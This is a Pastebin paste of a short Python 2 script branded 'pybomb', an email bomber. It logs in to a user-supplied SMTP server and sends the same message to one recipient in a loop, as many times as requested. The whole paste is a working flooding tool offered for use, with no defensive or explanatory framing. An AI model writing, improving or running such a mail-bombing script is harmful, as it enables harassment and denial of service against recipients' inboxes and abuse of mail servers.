Advertisement
Guest User

kuk

a guest
Mar 2nd, 2017
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.61 KB | None | 0 0
  1. import smtplib
  2. import mimetypes
  3. import sys
  4. import time
  5. from email.MIMEText import MIMEText
  6. class SMTP(object):
  7. def title(self):
  8. print """ \t______ _ _
  9. \t| ___ \ | | | |
  10. \t| |_/ /_ _| |__ ___ _ __ ___ | |__
  11. \t| __/| | | | '_ \ / _ \| '_ ` _ \| '_ \
  12. \t| | | |_| | |_) | (_) | | | | | | |_) |
  13. \t\_| \__, |_.__/ \___/|_| |_| |_|_.__/
  14. \t __/ |
  15. \t |___/
  16. \t Tool made by: anx
  17. """
  18.  
  19. def SMTPconnect(self):
  20. print "For a complete list of SMTP server go to this link:"
  21. print "http://www.e-eeasy.com/SMTPServerList.aspx"
  22. self.smtpserver=raw_input("\nEnter SMTP server: ")
  23. self.smtpport=input("Enter SMTP port (Usualy 25 or 465): ")
  24. print "\tMaking Connection, Please wait"
  25. print "\tThis will take some seconds!"
  26. try:
  27. self.mailServer = smtplib.SMTP(self.smtpserver,self.smtpport)
  28. except IOError, e:
  29. print 'Error: %s' %(e)
  30. time.sleep(5)
  31. sys.exit(1)
  32. self.mailServer.starttls()
  33. self.username=raw_input("\nEnter Username: ")
  34. self.password=raw_input("Enter Password: ")
  35. try:
  36. self.mailServer.login(self.username,self.password)
  37. except BaseException, e:
  38. print 'Error: %s' % (e)
  39. time.sleep(3)
  40. sys.exit(1)
  41. def buildemail(self):
  42. print "\tBuilding message part"
  43. self.From = raw_input("\nFrom: ")
  44. self.To = raw_input("\nTo: ")
  45. self.Subject = raw_input("\nSubject: ")
  46. self.Message = raw_input("\nMessage: ")
  47. mensaje = MIMEText(self.Message)
  48. mensaje['From']=self.From
  49. mensaje['To']=self.To
  50. mensaje['Subject']=self.Subject
  51. self.ammount = input("How Many times would you like to send email: ")
  52. x = 0
  53. while x < self.ammount:
  54. self.mailServer.sendmail(self.From, self.To, mensaje.as_string())
  55. x+=1
  56. print "Send %d messages to %s" %(self.ammount,self.To)
  57. time.sleep(7)
  58. print "Thnx for using pybomb!\nhttp://facebook.com/itsmehulbhatt\n"
  59. if __name__ == '__main__':
  60. s = SMTP()
  61. s.title()
  62. s.SMTPconnect()
  63. s.buildemail()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement